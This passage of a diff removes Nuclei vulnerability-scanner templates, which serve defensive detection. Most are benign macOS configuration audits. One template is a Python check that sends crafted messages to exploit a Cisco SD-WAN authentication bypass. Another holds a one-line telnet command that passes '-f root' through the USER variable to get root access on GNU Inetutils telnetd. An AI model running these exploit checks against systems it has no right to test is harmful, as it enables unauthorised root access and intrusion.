0x0B: "TEAR_DOWN",
|
||||
0x0D: "REGISTER_TO_VMANAGE",
|
||||
0x0E: "VMANAGE_TO_PEER",
|
||||
}
|
||||
|
||||
def build_header(msg_type):
|
||||
byte0 = msg_type & 0x0F
|
||||
byte1 = (DEV_VHUB & 0x0F) << 4
|
||||
return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
|
||||
DOMAIN_ID, SITE_ID)
|
||||
|
||||
def hdr_msg_type(data):
|
||||
return data[0] & 0x0F if data else None
|
||||
|
||||
def build_tlv(tlv_type, value):
|
||||
if isinstance(value, str):
|
||||
value = value.encode()
|
||||
return struct.pack(">HH", tlv_type, len(value)) + value
|
||||
|
||||
def build_challenge_ack_body():
|
||||
uuid_str = secrets.token_hex(16)
|
||||
server_key = secrets.token_hex(16)
|
||||
|
||||
tlvs = build_tlv(0x0013, struct.pack(">H", 0))
|
||||
tlvs += build_tlv(0x0014, struct.pack(">H", 1))
|
||||
tlvs += build_tlv(0x0018, struct.pack(">B", 1))
|
||||
tlvs += build_tlv(0x0019, struct.pack(">B", 0))
|
||||
tlvs += build_tlv(0x0006, uuid_str)
|
||||
tlvs += build_tlv(0x0032, server_key)
|
||||
|
||||
body = struct.pack(">BB", 0, 0)
|
||||
body += struct.pack(">B", 6)
|
||||
body += tlvs
|
||||
return body
|
||||
|
||||
def build_hello_body(port):
|
||||
body = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
|
||||
body += struct.pack(">H", 2)
|
||||
body += socket.inet_aton("127.0.0.1")
|
||||
body += struct.pack(">H", port)
|
||||
body += struct.pack(">I", 1)
|
||||
body += b"\x00" * 20
|
||||
body += struct.pack(">II", 10000, 60000)
|
||||
body += struct.pack(">B", 2)
|
||||
body += build_tlv(0x0021, struct.pack(">B", 0))
|
||||
body += build_tlv(0x0022, struct.pack(">B", 0))
|
||||
return body
|
||||
|
||||
def generate_self_signed_cert():
|
||||
tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
|
||||
result = subprocess.run(
|
||||
[
|
||||
"openssl", "req", "-x509", "-newkey", "rsa:2048",
|
||||
"-keyout", key_path,
|
||||
"-out", cert_path,
|
||||
"-days", "1",
|
||||
"-nodes",
|
||||
"-subj", "/CN=nuclei/O=nuclei/C=US",
|
||||
"-quiet",
|
||||
],
|
||||
capture_output=True,
|
||||
timeout=15,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return None, None, tmpdir
|
||||
return cert_path, key_path, tmpdir
|
||||
|
||||
def dtls_connect(host, port, cert_path, key_path):
|
||||
cmd = [
|
||||
"openssl", "s_client",
|
||||
"-dtls1_2",
|
||||
"-connect", f"{host}:{port}",
|
||||
"-cert", cert_path,
|
||||
"-key", key_path,
|
||||
"-no_ign_eof",
|
||||
"-quiet",
|
||||
]
|
||||
return subprocess.Popen(
|
||||
cmd,
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
|
||||
def wait_for_data(fd, timeout_sec):
|
||||
ready, _, _ = select.select([fd], [], [], timeout_sec)
|
||||
if not ready:
|
||||
return None
|
||||
try:
|
||||
data = os.read(fd.fileno(), 65536)
|
||||
return data if data else None
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
def send_message(proc, msg_type, body=b""):
|
||||
message = build_header(msg_type) + body
|
||||
try:
|
||||
proc.stdin.write(message)
|
||||
proc.stdin.flush()
|
||||
return True
|
||||
except (BrokenPipeError, OSError):
|
||||
return False
|
||||
|
||||
def recv_message(proc, timeout_sec=10):
|
||||
data = wait_for_data(proc.stdout, timeout_sec)
|
||||
if not data or len(data) < 12:
|
||||
return None, None
|
||||
return data[:12], data[12:]
|
||||
|
||||
def check_vulnerability(host, port):
|
||||
target = f"{host}:{port}"
|
||||
print(f"[*] Testing target: {target}")
|
||||
|
||||
cert_path, key_path, tmpdir = generate_self_signed_cert()
|
||||
if not cert_path:
|
||||
print("[-] Certificate generation failed")
|
||||
return False
|
||||
|
||||
proc = None
|
||||
try:
|
||||
proc = dtls_connect(host, port, cert_path, key_path)
|
||||
time.sleep(3)
|
||||
|
||||
if proc.poll() is not None:
|
||||
print("[-] DTLS handshake failed")
|
||||
return False
|
||||
|
||||
hdr, _ = recv_message(proc, timeout_sec=12)
|
||||
if hdr is None:
|
||||
print("[-] No CHALLENGE received")
|
||||
return False
|
||||
|
||||
msg_type = hdr_msg_type(hdr)
|
||||
if msg_type != MSG_CHALLENGE:
|
||||
name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
|
||||
print(f"[-] Unexpected message type: {name}")
|
||||
return False
|
||||
|
||||
if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
|
||||
print("[-] Failed to send CHALLENGE_ACK")
|
||||
return False
|
||||
|
||||
hdr, _ = recv_message(proc, timeout_sec=8)
|
||||
if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
|
||||
print("[-] Server sent TEAR_DOWN — not vulnerable")
|
||||
return False
|
||||
|
||||
if not send_message(proc, MSG_HELLO, build_hello_body(port)):
|
||||
print(f"VULNERABLE: {target}")
|
||||
return True
|
||||
|
||||
hdr, _ = recv_message(proc, timeout_sec=8)
|
||||
if hdr is not None:
|
||||
msg_type = hdr_msg_type(hdr)
|
||||
if msg_type == MSG_TEAR_DOWN:
|
||||
print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
|
||||
return False
|
||||
print(f"VULNERABLE: {target}")
|
||||
return True
|
||||
|
||||
print(f"VULNERABLE: {target}")
|
||||
return True
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
print("[-] Operation timed out")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"[-] Error: {e}")
|
||||
return False
|
||||
finally:
|
||||
if proc:
|
||||
try:
|
||||
proc.terminate()
|
||||
proc.wait(timeout=3)
|
||||
except Exception:
|
||||
try:
|
||||
proc.kill()
|
||||
except Exception:
|
||||
pass
|
||||
shutil.rmtree(tmpdir, ignore_errors=True)
|
||||
|
||||
if __name__ == "__main__":
|
||||
host = os.getenv("Host")
|
||||
port = os.getenv("Port", "12346")
|
||||
|
||||
if not host:
|
||||
print("Host environment variable not set")
|
||||
exit(1)
|
||||
|
||||
try:
|
||||
port = int(port)
|
||||
except ValueError:
|
||||
port = 12346
|
||||
|
||||
if check_vulnerability(host, port):
|
||||
print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
|
||||
else:
|
||||
print("Target appears to be patched or not Cisco SD-WAN vdaemon")
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
# digest: 4a0a00473045022100921b322c70633fc12acb7c4bc197c0bed939729051dc08d802529db60f8e3fa4022070d8fdc38f5e30daaf82e9552358e7fc214b987cf8061ff265d8c9b28d680b23:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,52 +0,0 @@
|
||||
id: CVE-2026-24061
|
||||
|
||||
info:
|
||||
name: GNU Inetutils telnetd - Authentication Bypass
|
||||
author: pussycat0x
|
||||
severity: critical
|
||||
description: |
|
||||
GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
|
||||
remediation: |
|
||||
Update to a version later than 2.7 or the latest available version.
|
||||
impact: |
|
||||
Remote attackers can bypass authentication, gaining unauthorized root access to the system.
|
||||
reference:
|
||||
- https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2026-24061
|
||||
cwe-id: CWE-88
|
||||
epss-score: 0.98871
|
||||
epss-percentile: 0.99921
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
vendor: gnu
|
||||
product: inetutils
|
||||
shodan-query: port:23 telnet
|
||||
fofa-query: port="23" && protocol="telnet"
|
||||
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
|
||||
source: |
|
||||
(sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
|
||||
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "Last login"
|
||||
- "Debian"
|
||||
condition: and
|
||||
# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,142 +0,0 @@
|
||||
id: CVE-2026-31431
|
||||
|
||||
info:
|
||||
name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
|
||||
author: ritikchaddha
|
||||
severity: high
|
||||
description: |
|
||||
In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
|
||||
impact: |
|
||||
A local attacker can escalate from any unprivileged user to root. The exploit:
|
||||
remediation: |
|
||||
Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
|
||||
reference:
|
||||
- https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
|
||||
- https://cert.europa.eu/publications/security-advisories/2026-005
|
||||
- https://xint.io/blog/copy-fail-linux-distributions
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2026-31431
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2026-31431
|
||||
epss-score: 0.96267
|
||||
epss-percentile: 0.9987
|
||||
cwe-id: CWE-787
|
||||
cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 3
|
||||
vendor: linux
|
||||
product: linux_kernel
|
||||
tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
|
||||
|
||||
self-contained: true
|
||||
|
||||
flow: code(1) && code(2) && code(3)
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
whoami
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "root"
|
||||
negative: true
|
||||
internal: true
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
uname -r
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: kernel_version
|
||||
part: response
|
||||
regex:
|
||||
- '^[0-9]+\.[0-9]+\.[0-9]+'
|
||||
internal: true
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
KVER=$(uname -r)
|
||||
MAJOR=$(echo "$KVER" | cut -d. -f1)
|
||||
MINOR=$(echo "$KVER" | cut -d. -f2)
|
||||
PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
|
||||
VULNERABLE=0
|
||||
|
||||
# Check if algif_aead module is loaded or built-in (required attack surface)
|
||||
AEAD_PRESENT=0
|
||||
if lsmod 2>/dev/null | grep -q "algif_aead"; then
|
||||
AEAD_PRESENT=1
|
||||
elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
|
||||
AEAD_PRESENT=1
|
||||
elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
|
||||
[ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
|
||||
[ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
|
||||
AEAD_PRESENT=1
|
||||
elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
|
||||
AEAD_PRESENT=1
|
||||
elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
|
||||
AEAD_PRESENT=1
|
||||
fi
|
||||
|
||||
# Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
|
||||
# LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
|
||||
if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
|
||||
VULNERABLE=1
|
||||
elif [ "$MAJOR" -eq 5 ]; then
|
||||
VULNERABLE=1
|
||||
elif [ "$MAJOR" -eq 6 ]; then
|
||||
if [ "$MINOR" -le 0 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
|
||||
elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$VULNERABLE" -eq 1 ]; then
|
||||
if [ "$AEAD_PRESENT" -eq 1 ]; then
|
||||
echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
|
||||
else
|
||||
echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
|
||||
fi
|
||||
else
|
||||
echo "NOT_VULNERABLE: kernel $KVER"
|
||||
fi
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "VULNERABLE:"
|
||||
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "NOT_VULNERABLE"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: detection_detail
|
||||
part: response
|
||||
regex:
|
||||
- 'VULNERABLE:.*'
|
||||
# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,34 +0,0 @@
|
||||
id: auto-login-enabled
|
||||
|
||||
info:
|
||||
name: macOS Automatic Login Enabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Checks if automatic login is enabled on macOS, allowing users to log in to the system without entering a password upon startup.
|
||||
impact: |
|
||||
Enabling automatic login can lead to unauthorized access to the user's account and data if the device is physically accessed.
|
||||
remediation: |
|
||||
Disable automatic login to require a password at startup and enhance physical security.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser 2>&1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "does not exist"
|
||||
negative: true
|
||||
# digest: 4a0a0047304502206e4abbed2d196fdcfbec430b63cb79ec4c970a766ae1dfa5699ed88c1df29841022100be4e6fe238b571547044d2a5d05526f69078c3f5536e4702b018e13149db8a7a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: filevault-disabled
|
||||
|
||||
info:
|
||||
name: macOS FileVault Disabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Identifies if FileVault full-disk encryption is disabled on macOS, leaving data unprotected from unauthorized access.
|
||||
impact: |
|
||||
Disabling FileVault leaves the data on the disk unencrypted and vulnerable to theft or unauthorized access if the device is lost or stolen.
|
||||
remediation: |
|
||||
Enable FileVault to encrypt the entire disk and protect the data at rest.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
fdesetup status
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "FileVault is Off."
|
||||
# digest: 4b0a00483046022100dbeda953db252023089741b1ebc7bfe9469e933be51e45c78375eb388a18e01d022100b08c18ef3cbd1adefb1455ae1b792c1647dba4be6856925de6508a35c4066c05:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: firewall-disabled
|
||||
|
||||
info:
|
||||
name: macOS Application Firewall Disabled
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Verifies if the macOS application firewall is disabled, removing protection against unauthorized network access by applications.
|
||||
impact: |
|
||||
Disabling the firewall can allow malicious applications to make outbound connections and expose the system to network-based attacks.
|
||||
remediation: |
|
||||
Enable the macOS application firewall to control network access for applications.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Firewall is disabled. (State = 0)"
|
||||
# digest: 4b0a00483046022100fec597c208922cff8c5bf96d23a75c06d1192ecc31c5f257bd72cda4b05c3678022100b2899ee2431e105ca31f924e76bc446fa025a9c64b0f62c5268e06af0859be81:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: gatekeeper-disabled
|
||||
|
||||
info:
|
||||
name: macOS Gatekeeper Disabled
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Checks if Gatekeeper is disabled on macOS, removing verification that downloaded applications are from identified developers.
|
||||
impact: |
|
||||
Disabling Gatekeeper allows the execution of applications from unverified sources, increasing the risk of malware infection.
|
||||
remediation: |
|
||||
Enable Gatekeeper to ensure that only applications from identified developers can be run.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
spctl --status
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "assessments disabled"
|
||||
# digest: 4b0a00483046022100c13d86b99f8f878a28f12b93336ffc8b2041992d8469e55e5f4253fe313aaf920221009d4860d4ef526c896fd5ca9018bfec060b55f363a0e8efe3bdbe53c6673bc5ec:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,31 +0,0 @@
|
||||
id: guest-user-enabled
|
||||
|
||||
info:
|
||||
name: macOS Guest User Enabled
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Identifies if the guest user account is enabled on macOS, allowing anyone to use the computer without authentication.
|
||||
impact: |
|
||||
Enabling the guest user account can allow unauthorized users to access the system with limited, but potentially risky, privileges.
|
||||
remediation: |
|
||||
Disable the guest user account to reduce the risk of unauthorized access.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
defaults read /Library/Preferences/com.apple.loginwindow GuestEnabled 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^1$"
|
||||
# digest: 4a0a00473045022100b56ce36c9516138969ae1baa1b6472abc91525849b6ebf9b1fcfed3a5921a45c0220475f29d019df5ace5aca8e06548449de2807ecdf682073423a0e4c7f4763db8d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-cron-jobs
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Cron Jobs
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Finds world-writable cron job files on macOS that can be modified by any user on the system.
|
||||
impact: |
|
||||
World-writable cron job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable cron job files.
|
||||
tags: macos,audit,local,security,cron
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /etc/crontab /var/at/tabs/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 490a00463044022075a77d80b297101e767baa7a3df6a47b36d346be38b58abdd7ea504b7f8b49cb022079d8770c2062a09b57c244e78b22dab6f546cf4d9274013e66ee3dc2baef18b0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-exports-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/exports Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Identifies insecure permissions on the /etc/exports file used to configure NFS exports on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/exports could allow unauthorized users to modify the file and gain access to exported filesystems.
|
||||
remediation: |
|
||||
Ensure that the /etc/exports file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security,nfs
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/exports 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4a0a00473045022100f0a90c14abd2b8151c008c14b461df041bd982ed2afe14cdb307fafb20f8934e0220363866f2cc52ca7b8ac63e881c4352af6b44aadf4571832c3cac632cf8a3fbdb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-fstab-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/fstab Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Validates permissions on the /etc/fstab file that defines how disk partitions and filesystems are mounted on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/fstab could allow unauthorized users to modify the file and mount malicious filesystems.
|
||||
remediation: |
|
||||
Ensure that the /etc/fstab file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/fstab 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4a0a00473045022100f63b670201e473559afe079d0f0944bd69bb9c3e624727ade721819c25bef59402205cfe065102455e15e4e85727ea9d8d59c11730662b81b8706d5e4cfd710db02f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-hostconfig-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/hostconfig Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Evaluates permissions on the /etc/hostconfig file used to configure system services on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/hostconfig could allow unauthorized users to modify the file and reconfigure system services.
|
||||
remediation: |
|
||||
Ensure that the /etc/hostconfig file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/hostconfig 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 4b0a00483046022100d47f5829d759ebef3fbef226cb5a917a07bfff78791407217fd529a265a81876022100cb5bff86e6fa1eaf80f0f189250c9e59236c5c3f074d0499c96d642e6be6e1eb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,32 +0,0 @@
|
||||
id: insecure-etc-inetd-conf-permissions
|
||||
|
||||
info:
|
||||
name: macOS Insecure /etc/inetd.conf Permissions
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: |
|
||||
Verifies permissions on the /etc/inetd.conf file used to configure the inetd daemon on macOS.
|
||||
impact: |
|
||||
Insecure permissions on /etc/inetd.conf could allow unauthorized users to modify the file and enable or disable network services.
|
||||
remediation: |
|
||||
Ensure that the /etc/inetd.conf file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0644 or more restrictive.
|
||||
tags: macos,audit,local,security
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
ls -l /etc/inetd.conf 2>&1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 0
|
||||
- type: regex
|
||||
regex:
|
||||
- "^-rw-r--r--\\s+\\d+\\s+root\\s+\\w+"
|
||||
negative: true
|
||||
# digest: 490a0046304402203a17f921ddd73a973258b7a7fe563d18218462436e060a5b6d27111c18f26f46022035c897ff32e61af7c5bf2dfd63b3c5c318182e88ce292d46962b404675dd93cc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-homebrew-permissions
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Homebrew Files
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Scans for world-writable files in the Homebrew directory that could be exploited for privilege escalation.
|
||||
impact: |
|
||||
World-writable files in the Homebrew directory can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable files in the Homebrew directory.
|
||||
tags: macos,audit,local,security,homebrew
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find $(brew --prefix)/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a0047304502201b6cc3d198cfe7d9f9285a73a3b9fcc416e015ee4418aa7dd46510903c057e68022100800ba72c60fd91ae271f6c627f2c147ff7082f01cde9ef3725453ceb802c1219:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-launchd-jobs
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Launchd Jobs
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
Searches for world-writable launchd job files on macOS that allow modification by any user.
|
||||
impact: |
|
||||
World-writable launchd job files can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable launchd job files.
|
||||
tags: macos,audit,local,security,launchd
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /System/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /Library/LaunchDaemons/ /Library/LaunchAgents/ ~/Library/LaunchAgents/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a00473045022100d79cf12bf41b029f55016ee394b8bbe07438a24579d556e97b47fb4cf336c2f102204ddd8161cde0e4501b0af970e45f01dd08aa1146117665257d4e8afd6d2ba8fc:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,27 +0,0 @@
|
||||
id: insecure-startup-items
|
||||
|
||||
info:
|
||||
name: macOS World-Writable Startup Items
|
||||
author: geeknik
|
||||
severity: medium
|
||||
description: |
|
||||
